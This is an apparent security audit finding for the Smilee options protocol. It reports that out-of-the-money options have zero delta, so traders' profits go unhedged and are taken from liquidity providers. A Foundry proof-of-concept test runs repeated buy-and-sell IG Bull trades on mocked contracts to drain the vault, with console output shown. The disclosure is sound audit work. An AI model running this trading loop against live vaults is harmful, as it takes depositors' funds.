Vulnerability: Trading out of the money options has delta = 0 which breaks protocol assumptions of traders profit being fully hedged and can result in a loss of funds to LPs
Severity: medium

Description:
Smilee protocol fully hedges all traders pnl by re-balancing the vault between base and side tokens after each trade. This is the assumption about this from the docs:\\nIn the other words, any profit for traders is taken from the hedge and not from the vault Liquidity Providers funds. LP payoff must be at least the underlying DEX (Uniswap) payoff without fees with the same settings.\\nHowever, out of the money options (IG Bull when `price < strike` or IG Bear when price > strike) have `delta = 0`, meaning that trading such options doesn't influence vault re-balancing. Since the price of these options changes depending on current asset price, any profit gained by traders from these trades is not hedged and thus becomes the loss of the vault LPs, breaking the assumption referenced above.\\nAs a result, LPs payout can becomes less than underlying DEX LPs payout without fees. And in extreme cases the vault funds might not be enough to cover traders payoff.\\nWhen the vault delta hedges its position after each trade, it only hedges in the money options, ignoring any out of the money options. For example, this is the calculation of the IG Bull delta (s is the current asset price, `k` is the strike):\\n```\\n    /**\\n        Δ_bull = (1 / θ) * F\\n        F = {\\n@@@         * 0                     if (S < K)\\n            * (1 - √(K / Kb)) / K   if (S > Kb)\\n            * 1 / K - 1 / √(S * K)  if (K < S < Kb)\\n        }\\n    */\\n    function bullDelta(uint256 k, uint256 kB, uint256 s, uint256 theta) internal pure returns (int256) {\\n        SD59x18 delta;\\n        if (s <= k) {\\n@@@         return 0;\\n        }\\n```\\n\\nThis is example scenario to demonstrate the issue:\\nstrike = 1\\nvault has deposits = 2 (base = 1, side = 1), available liquidity: bull = 1, bear = 1\\ntrader buys 1 IG bear. This ensures that no vault re-balance happens when `price < strike`\\nprice drops to 0.9. Trader buys 1 IG bull (premium paid = 0.000038)\\nprice raises to 0.99. Trader sells 1 IG bull (premium received = 0.001138). Trader profit = 0.0011\\nprice is back to 1. Trader sells back 1 IG bear.\\nat this point the vault has (base = 0.9989, side = 1), meaning LPs have lost some funds when the price = strike.\\nWhile the damage from 1 trade is not large, if this is repeated several times, the damage to LP funds will keep inceasing.\\nThis can be especially dangerous if very long dated expiries are used, for example annual IG options. If the asset price remains below the strike for most of the time and IG Bear liquidity is close to 100% usage, then all IG Bull trades will be unhedged, thus breaking the core protocol assumption that traders profit should not translate to LPs loss: in such case traders profit will be the same loss for LPs. In extreme volatility, if price drops by 50% then recovers, traders can profit 3% of the vault with each trade, so after 33 trades the vault will be fully drained.

Impact:
In some specific trading conditions (IG Bear liquidity used close to 100% if price < strike, or IG Bull liquidity used close to 100% if price > strike), all or most of the traders pnl is not hedged and thus becomes loss or profit of the LPs, breaking the core protocol assumptions about hedging and in extreme cases can drain significant percentage of the vault (LPs) funds, up to a point of not being able to payout traders payoff.\\nProof Of Concept\\nCopy to attack.t.sol:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.15;\\n\\nimport {Test} from "forge-std/Test.sol";\\nimport {console} from "forge-std/console.sol";\\nimport {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";\\n\\nimport {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport {IPositionManager} from "@project/interfaces/IPositionManager.sol";\\nimport {Epoch} from "@project/lib/EpochController.sol";\\nimport {AmountsMath} from "@project/lib/AmountsMath.sol";\\nimport {EpochFrequency} from "@project/lib/EpochFrequency.sol";\\nimport {OptionStrategy} from "@project/lib/OptionStrategy.sol";\\nimport {AddressProvider} from "@project/AddressProvider.sol";\\nimport {MarketOracle} from "@project/MarketOracle.sol";\\nimport {FeeManager} from "@project/FeeManager.sol";\\nimport {Vault} from "@project/Vault.sol";\\nimport {TestnetToken} from "@project/testnet/TestnetToken.sol";\\nimport {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";\\nimport {DVPUtils} from "./utils/DVPUtils.sol";\\nimport {TokenUtils} from "./utils/TokenUtils.sol";\\nimport {Utils} from "./utils/Utils.sol";\\nimport {VaultUtils} from "./utils/VaultUtils.sol";\\nimport {MockedIG} from "./mock/MockedIG.sol";\\nimport {MockedRegistry} from "./mock/MockedRegistry.sol";\\nimport {MockedVault} from "./mock/MockedVault.sol";\\nimport {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";\\nimport {PositionManager} from "@project/periphery/PositionManager.sol";\\n\\n\\ncontract IGTradeTest is Test {\\n    using AmountsMath for uint256;\\n\\n    address admin = address(0x1);\\n\\n    // User of Vault\\n    address alice = address(0x2);\\n    address bob = address(0x3);\\n\\n    //User of DVP\\n    address charlie = address(0x4);\\n    address david = address(0x5);\\n\\n    AddressProvider ap;\\n    TestnetToken baseToken;\\n    TestnetToken sideToken;\\n    FeeManager feeManager;\\n\\n    MockedRegistry registry;\\n\\n    MockedVault vault;\\n    MockedIG ig;\\n    TestnetPriceOracle priceOracle;\\n    TestnetSwapAdapter exchange;\\n    uint _strike;\\n\\n    function setUp() public {\\n        vm.warp(EpochFrequency.REF_TS);\\n        //ToDo: Replace with Factory\\n        vm.startPrank(admin);\\n        ap = new AddressProvider(0);\\n        registry = new MockedRegistry();\\n        ap.grantRole(ap.ROLE_ADMIN(), admin);\\n        registry.grantRole(registry.ROLE_ADMIN(), admin);\\n        ap.setRegistry(address(registry));\\n\\n        vm.stopPrank();\\n\\n        vault = MockedVault(VaultUtils.createVault(EpochFrequency.WEEKLY, ap, admin, vm));\\n        priceOracle = TestnetPriceOracle(ap.priceOracle());\\n\\n        baseToken = TestnetToken(vault.baseToken());\\n        sideToken = TestnetToken(vault.sideToken());\\n\\n        vm.startPrank(admin);\\n       \\n        ig = new MockedIG(address(vault), address(ap));\\n        ig.grantRole(ig.ROLE_ADMIN(), admin);\\n        ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);\\n        vault.grantRole(vault.ROLE_ADMIN(), admin);\\n        vm.stopPrank();\\n        ig.setOptionPrice(1e3);\\n        ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1\\n        ig.useRealDeltaHedge();\\n        ig.useRealPercentage();\\n        ig.useRealPremium();\\n\\n        DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);\\n\\n        vm.prank(admin);\\n        registry.registerDVP(address(ig));\\n        vm.prank(admin);\\n        MockedVault(vault).setAllowedDVP(address(ig));\\n        feeManager = FeeManager(ap.feeManager());\\n\\n        exchange = TestnetSwapAdapter(ap.exchangeAdapter());\\n    }\\n\\n    // try to buy/sell ig bull below strike for user's profit\\n    // this will not be hedged, and thus the vault should lose funds\\n    function test() public {\\n        _strike = 1e18;\\n        vm.prank(admin);\\n        priceOracle.setTokenPrice(address(sideToken), _strike);\\n        VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);\\n        VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);\\n\\n        Utils.skipWeek(true, vm);\\n\\n        vm.prank(admin);\\n        ig.rollEpoch();\\n\\n        VaultUtils.logState(vault);\\n        DVPUtils.debugState(ig);\\n\\n        // to ensure no rebalance from price movement\\n        console.log("Buy 100% IG BEAR @ 1.0");\\n        testBuyOption(1e18, 0, 1e18);\\n\\n        for (uint i = 0; i < 20; i++) {\\n            // price moves down, we buy\\n            vm.warp(block.timestamp + 1 hours);\\n            console.log("Buy 100% IG BULL @ 0.9");\\n            testBuyOption(0.9e18, 1e18, 0);\\n\\n            // price moves up, we sell\\n            vm.warp(block.timestamp + 1 hours);\\n            console.log("Sell 100% IG BULL @ 0.99");\\n            testSellOption(0.99e18, 1e18, 0);\\n        }\\n\\n        // sell back original\\n        console.log("Sell 100% IG BEAR @ 1.0");\\n        testSellOption(1e18, 0, 1e18);\\n    }\\n\\n    function testBuyOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal {\\n\\n        vm.prank(admin);\\n        priceOracle.setTokenPrice(address(sideToken), price);\\n\\n        (uint256 premium, uint256 fee) = _assurePremium(charlie, _strike, optionAmountUp, optionAmountDown);\\n\\n        vm.startPrank(charlie);\\n        premium = ig.mint(charlie, _strike, optionAmountUp, optionAmountDown, premium, 10e18, 0);\\n        vm.stopPrank();\\n\\n        console.log("premium", premium);\\n        (uint256 btAmount, uint256 stAmount) = vault.balances();\\n        console.log("base token notional", btAmount);\\n        console.log("side token notional", stAmount);\\n    }\\n\\n    function testSellOption(uint price, uint128 optionAmountUp, uint128 optionAmountDown) internal {\\n        vm.prank(admin);\\n        priceOracle.setTokenPrice(address(sideToken), price);\\n\\n        uint256 charliePayoff;\\n        uint256 charliePayoffFee;\\n        {\\n            vm.startPrank(charlie);\\n            (charliePayoff, charliePayoffFee) = ig.payoff(\\n                ig.currentEpoch(),\\n                _strike,\\n                optionAmountUp,\\n                optionAmountDown\\n            );\\n\\n            charliePayoff = ig.burn(\\n                ig.currentEpoch(),\\n                charlie,\\n                _strike,\\n                optionAmountUp,\\n                optionAmountDown,\\n                charliePayoff,\\n                0.1e18\\n            );\\n            vm.stopPrank();\\n\\n            console.log("payoff received", charliePayoff);\\n            (uint256 btAmount, uint256 stAmount) = vault.balances();\\n            console.log("base token notional", btAmount);\\n            console.log("side token notional", stAmount);\\n        }\\n    }\\n\\n    function _assurePremium(\\n        address user,\\n        uint256 strike,\\n        uint256 amountUp,\\n        uint256 amountDown\\n    ) private returns (uint256 premium_, uint256 fee) {\\n        (premium_, fee) = ig.premium(strike, amountUp, amountDown);\\n        TokenUtils.provideApprovedTokens(admin, address(baseToken), user, address(ig), premium_*5, vm);\\n    }\\n}\\n```\\n\\nExecution console:\\n```\\n  baseToken balance 1000000000000000000\\n  sideToken balance 1000000000000000000\\n  dead false\\n  lockedInitially 2000000000000000000\\n// rest of code\\n  Buy 100% IG BEAR @ 1.0\\n  premium 6140201098441368\\n  base token notional 1006140201098441412\\n  side token notional 999999999999999956\\n  Buy 100% IG BULL @ 0.9\\n  premium 3853262173300493\\n  base token notional 1009993463271741905\\n  side token notional 999999999999999956\\n  Sell 100% IG BULL @ 0.99\\n  payoff received 4865770659690694\\n  base token notional 1005127692612051211\\n  side token notional 999999999999999956\\n// rest of code\\n  Buy 100% IG BULL @ 0.9\\n  premium 1827837493502948\\n  base token notional 984975976168184269\\n  side token notional 999999999999999956\\n  Sell 100% IG BULL @ 0.99\\n  payoff received 3172781130161218\\n  base token notional 981803195038023051\\n  side token notional 999999999999999956\\n  Sell 100% IG BEAR @ 1.0\\n  payoff received 3269654020920760\\n  base token notional 978533541017102291\\n  side token notional 999999999999999956\\n```\\n\\nNotice:\\nInitial vault balance at the asset price of 1.0 is base = 1, side = 1\\nAll IG Bull trades do not change vault side token balance (no re-balancing happens)\\nAfter 20 trades, at the asset price of 1.0, base = 0.9785, side = 1\\nThis means that 20 profitable trades create a 1.07% loss for the vault. Similar scenario for annual options with 50% price move shows 3% vault loss per trade.

Recommended mitigation:
The issue seems to be from the approximation of the delta for OTM options. Statistically, long-term, the issue shouldn't be a problem as the long-term expectation is positive for the LPs profit due to it. However, short-term, the traders profit can create issues, and this seems to be the protocol's core assumption. Possible solution can include more precise delta calculation, maybe still approximation, but slightly more precise than the current approximation used.\\nAlternatively, keep track of underlying DEX equivalent of LP payoff at the current price and if, after the trade, vault's notional is less than that, add fee = the difference, to ensure that the assumption above is always true (similar to how underlying DEX slippage is added as a fee).